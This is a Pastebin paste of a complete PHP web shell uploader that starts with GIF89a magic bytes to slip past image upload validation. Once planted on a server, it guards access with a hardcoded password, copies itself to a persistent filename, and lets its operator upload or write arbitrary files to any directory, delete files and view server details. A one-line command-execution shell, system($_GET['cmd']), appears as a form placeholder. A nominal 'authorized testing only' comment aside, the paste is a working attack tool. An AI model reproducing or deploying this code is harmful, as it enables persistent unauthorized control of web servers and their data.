M0usanony

uplo

Jul 14th, 2026
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.39 KB | None | 0 0
  1. GIF89a
  2. <?php
  3. /**
  4. * upfg.php — GIF89a bypass file uploader
  5. * Magic bytes: GIF89a → bypasses getimagesize() / finfo magic byte validation
  6. * Authorized testing only.
  7. */
  8.  
  9. // ── Auth ─────────────────────────────────────────────────────────────────────
  10. define('_PW', 'raimu2026'); // ganti sebelum deploy
  11. define('_PH', md5('raimu2026'));
  12.  
  13. function _authed(): bool {
  14. $cookie = isset($_COOKIE['_uf']) && $_COOKIE['_uf'] === _PH;
  15. $post = isset($_POST['p']) && md5($_POST['p']) === _PH;
  16. return $cookie || $post;
  17. }
  18. if (isset($_POST['p']) && md5($_POST['p']) === _PH) {
  19. setcookie('_uf', _PH, time() + 7200, '/', '', false, true);
  20. $_COOKIE['_uf'] = _PH;
  21. }
  22. $ok = _authed();
  23.  
  24. // ── Self-copy ─────────────────────────────────────────────────────────────────
  25. // Jika file ini diakses dengan nama lain (mis: upload.php.jpg), tulis ulang
  26. // ke __DIR__/upfg.php agar persistent dengan nama standar.
  27. $_self = __DIR__ . DIRECTORY_SEPARATOR . 'upfg.php';
  28. if (realpath(__FILE__) !== realpath($_self) && is_writable(__DIR__)) {
  29. @copy(__FILE__, $_self);
  30. @chmod($_self, 0644);
  31. }
  32.  
  33. // ── Helpers ───────────────────────────────────────────────────────────────────
  34. function _e(string $s): string { return htmlspecialchars($s, ENT_QUOTES, 'UTF-8'); }
  35.  
  36. function _safe_path(string $input, string $base): string {
  37. $real = realpath($input);
  38. if ($real === false) {
  39. // path belum ada — normalisasi manual
  40. $real = $input;
  41. }
  42. return $real;
  43. }
  44.  
  45. function _ext(string $name): string {
  46. $parts = explode('.', strtolower($name));
  47. return count($parts) > 1 ? end($parts) : '';
  48. }
  49.  
  50. // ── Action: upload file ───────────────────────────────────────────────────────
  51. $msg = ''; $msg_class = 'ok';
  52. if ($ok && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['f'])) {
  53. $file = $_FILES['f'];
  54. $err = $file['error'] ?? UPLOAD_ERR_NO_FILE;
  55.  
  56. if ($err !== UPLOAD_ERR_OK) {
  57. $codes = [1=>'too large (ini)',2=>'too large (form)',3=>'partial',
  58. 4=>'no file',6=>'no tmp',7=>'write fail',8=>'extension blocked'];
  59. $msg = 'UPLOAD ERR: ' . ($codes[$err] ?? "code=$err");
  60. $msg_class = 'err';
  61. } else {
  62. // Destination dir
  63. $dst_raw = isset($_POST['d']) && $_POST['d'] !== '' ? $_POST['d'] : __DIR__;
  64. $dst = _safe_path($dst_raw, __DIR__);
  65. if (!is_dir($dst)) { @mkdir($dst, 0755, true); }
  66.  
  67. // Filename: custom override > original name
  68. $orig = basename($file['name']);
  69. $fname = (isset($_POST['n']) && trim($_POST['n']) !== '')
  70. ? basename(trim($_POST['n']))
  71. : $orig;
  72. $dest = rtrim($dst, '/\\') . DIRECTORY_SEPARATOR . $fname;
  73.  
  74. if (move_uploaded_file($file['tmp_name'], $dest)) {
  75. @chmod($dest, 0644);
  76. $fsize = filesize($dest);
  77. $msg = "OK &rarr; " . _e($dest) . " ({$fsize} bytes)";
  78. } else {
  79. // Fallback: copy dari tmp jika move gagal (open_basedir / cross-device)
  80. if (@copy($file['tmp_name'], $dest)) {
  81. @chmod($dest, 0644);
  82. $msg = "OK (copy fallback) &rarr; " . _e($dest);
  83. } else {
  84. $msg = 'MOVE/COPY FAIL — check write permission on ' . _e($dst);
  85. $msg_class = 'err';
  86. }
  87. }
  88. }
  89. }
  90.  
  91. // ── Action: write raw content ─────────────────────────────────────────────────
  92. if ($ok && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['wc'], $_POST['wp'])) {
  93. $wname = basename(trim($_POST['wp']));
  94. $wdst = isset($_POST['wd']) && $_POST['wd'] !== ''
  95. ? rtrim(_safe_path($_POST['wd'], __DIR__), '/\\') . DIRECTORY_SEPARATOR . $wname
  96. : __DIR__ . DIRECTORY_SEPARATOR . $wname;
  97. $wdir = dirname($wdst);
  98. if (!is_dir($wdir)) { @mkdir($wdir, 0755, true); }
  99. $written = @file_put_contents($wdst, $_POST['wc']);
  100. if ($written !== false) {
  101. @chmod($wdst, 0644);
  102. $msg = "WRITTEN &rarr; " . _e($wdst) . " ({$written} bytes)";
  103. } else {
  104. $msg = 'WRITE FAIL &rarr; ' . _e($wdst);
  105. $msg_class = 'err';
  106. }
  107. }
  108.  
  109. // ── Action: delete file ───────────────────────────────────────────────────────
  110. if ($ok && isset($_GET['del'])) {
  111. $del = __DIR__ . DIRECTORY_SEPARATOR . basename($_GET['del']);
  112. if (file_exists($del) && realpath($del) !== realpath(__FILE__)) {
  113. @unlink($del) ? ($msg = 'DELETED: ' . _e(basename($del)))
  114. : ($msg = 'DELETE FAIL: ' . _e(basename($del)));
  115. $msg_class = strpos($msg, 'FAIL') !== false ? 'err' : 'ok';
  116. }
  117. }
  118.  
  119. // ── Dir listing ───────────────────────────────────────────────────────────────
  120. $ls = [];
  121. if ($ok) {
  122. $raw = @scandir(__DIR__);
  123. if ($raw) {
  124. foreach ($raw as $entry) {
  125. if ($entry === '.' || $entry === '..') continue;
  126. $fp = __DIR__ . DIRECTORY_SEPARATOR . $entry;
  127. $ls[] = ['n' => $entry, 's' => @filesize($fp), 'w' => is_writable($fp)];
  128. }
  129. }
  130. }
  131.  
  132. // ── Server info ───────────────────────────────────────────────────────────────
  133. $info = $ok ? [
  134. 'CWD' => __DIR__,
  135. 'Self' => __FILE__,
  136. 'PHP' => PHP_VERSION,
  137. 'SAPI' => php_sapi_name(),
  138. 'User' => function_exists('posix_getpwuid') ? (posix_getpwuid(posix_geteuid())['name'] ?? getenv('USERNAME')) : getenv('USERNAME'),
  139. 'OS' => PHP_OS,
  140. 'max_upload'=> ini_get('upload_max_filesize'),
  141. 'post_max' => ini_get('post_max_size'),
  142. 'tmp_dir' => sys_get_temp_dir(),
  143. 'open_basedir' => ini_get('open_basedir') ?: 'off',
  144. 'writable' => is_writable(__DIR__) ? 'YES' : 'NO',
  145. ] : [];
  146.  
  147. header('Content-Type: text/html; charset=utf-8');
  148. ?><!DOCTYPE html>
  149. <html>
  150. <head>
  151. <meta charset="utf-8">
  152. <title>upfg</title>
  153. <style>
  154. *{box-sizing:border-box;margin:0;padding:0}
  155. body{background:#111;color:#ccc;font:13px/1.5 monospace;padding:18px}
  156. h2{color:#14FAC1;margin-bottom:12px;font-size:15px}
  157. .box{background:#1a1a1a;border:1px solid #333;padding:14px;margin-bottom:14px;border-radius:3px}
  158. label{color:#888;display:block;margin-bottom:3px;font-size:12px}
  159. input[type=text],input[type=password],textarea{
  160. width:100%;background:#0d0d0d;border:1px solid #333;color:#eee;
  161. padding:6px 8px;border-radius:2px;font:12px monospace;margin-bottom:8px}
  162. input[type=file]{color:#ccc;margin-bottom:8px;display:block}
  163. input[type=submit]{background:#14FAC1;color:#000;border:none;padding:7px 18px;
  164. cursor:pointer;font-weight:bold;border-radius:2px;font-size:12px}
  165. input[type=submit]:hover{background:#0fd4a8}
  166. .ok{color:#14FAC1;margin:8px 0;padding:6px 10px;background:#001a14;border-left:3px solid #14FAC1}
  167. .err{color:#ff5555;margin:8px 0;padding:6px 10px;background:#1a0000;border-left:3px solid #ff5555}
  168. table{width:100%;border-collapse:collapse;font-size:12px}
  169. td,th{padding:4px 8px;border-bottom:1px solid #222;text-align:left}
  170. th{color:#14FAC1}
  171. a{color:#14FAC1;text-decoration:none}
  172. a:hover{text-decoration:underline}
  173. .dim{color:#555}
  174. .kv{display:grid;grid-template-columns:140px 1fr;gap:2px 8px;font-size:12px}
  175. .kv span:first-child{color:#666}
  176. .kv span:last-child{color:#eee}
  177. </style>
  178. </head>
  179. <body>
  180. <h2>[ upfg ] GIF89a bypass uploader</h2>
  181.  
  182. <?php if (!$ok): ?>
  183. <div class="box">
  184. <form method="post">
  185. <label>Password</label>
  186. <input type="password" name="p" autofocus>
  187. <input type="submit" value="Login">
  188. </form>
  189. </div>
  190. <?php else: ?>
  191.  
  192. <?php if ($msg): ?>
  193. <div class="<?= $msg_class ?>"><?= $msg ?></div>
  194. <?php endif; ?>
  195.  
  196. <!-- FILE UPLOAD -->
  197. <div class="box">
  198. <h2>Upload File</h2>
  199. <form method="post" enctype="multipart/form-data">
  200. <input type="hidden" name="p" value="<?= _e(_PW) ?>">
  201. <label>File</label>
  202. <input type="file" name="f">
  203. <label>Save as (optional — default: original filename)</label>
  204. <input type="text" name="n" placeholder="shell.php">
  205. <label>Destination dir (optional — default: <?= _e(__DIR__) ?>)</label>
  206. <input type="text" name="d" value="<?= _e(__DIR__) ?>">
  207. <input type="submit" value="Upload">
  208. </form>
  209. </div>
  210.  
  211. <!-- RAW WRITE -->
  212. <div class="box">
  213. <h2>Write Raw Content</h2>
  214. <form method="post">
  215. <input type="hidden" name="p" value="<?= _e(_PW) ?>">
  216. <label>Filename</label>
  217. <input type="text" name="wp" placeholder="shell.php">
  218. <label>Destination dir (optional — default: <?= _e(__DIR__) ?>)</label>
  219. <input type="text" name="wd" value="<?= _e(__DIR__) ?>">
  220. <label>Content</label>
  221. <textarea name="wc" rows="6" placeholder="<?php system($_GET['cmd']); ?>"></textarea>
  222. <input type="submit" value="Write">
  223. </form>
  224. </div>
  225.  
  226. <!-- DIR LISTING -->
  227. <div class="box">
  228. <h2>Directory: <?= _e(__DIR__) ?></h2>
  229. <?php if ($ls): ?>
  230. <table>
  231. <tr><th>Name</th><th>Size</th><th>W</th><th>Action</th></tr>
  232. <?php foreach ($ls as $f): ?>
  233. <tr>
  234. <td><?= _e($f['n']) ?></td>
  235. <td class="dim"><?= $f['s'] !== false ? number_format($f['s']) . ' B' : '—' ?></td>
  236. <td><?= $f['w'] ? '<span style="color:#14FAC1">W</span>' : '<span class="dim">r</span>' ?></td>
  237. <td><a href="?del=<?= urlencode($f['n']) ?>&p=<?= urlencode(_PW) ?>">del</a></td>
  238. </tr>
  239. <?php endforeach; ?>
  240. </table>
  241. <?php else: ?>
  242. <span class="dim">empty / unreadable</span>
  243. <?php endif; ?>
  244. </div>
  245.  
  246. <!-- SERVER INFO -->
  247. <div class="box">
  248. <h2>Server Info</h2>
  249. <div class="kv">
  250. <?php foreach ($info as $k => $v): ?>
  251. <span><?= _e($k) ?></span><span><?= _e((string)$v) ?></span>
  252. <?php endforeach; ?>
  253. </div>
  254. </div>
  255.  
  256. <?php endif; ?>
  257. </body>
  258. </html>
  259.  
Advertisement
Add Comment
Please, Sign In to add comment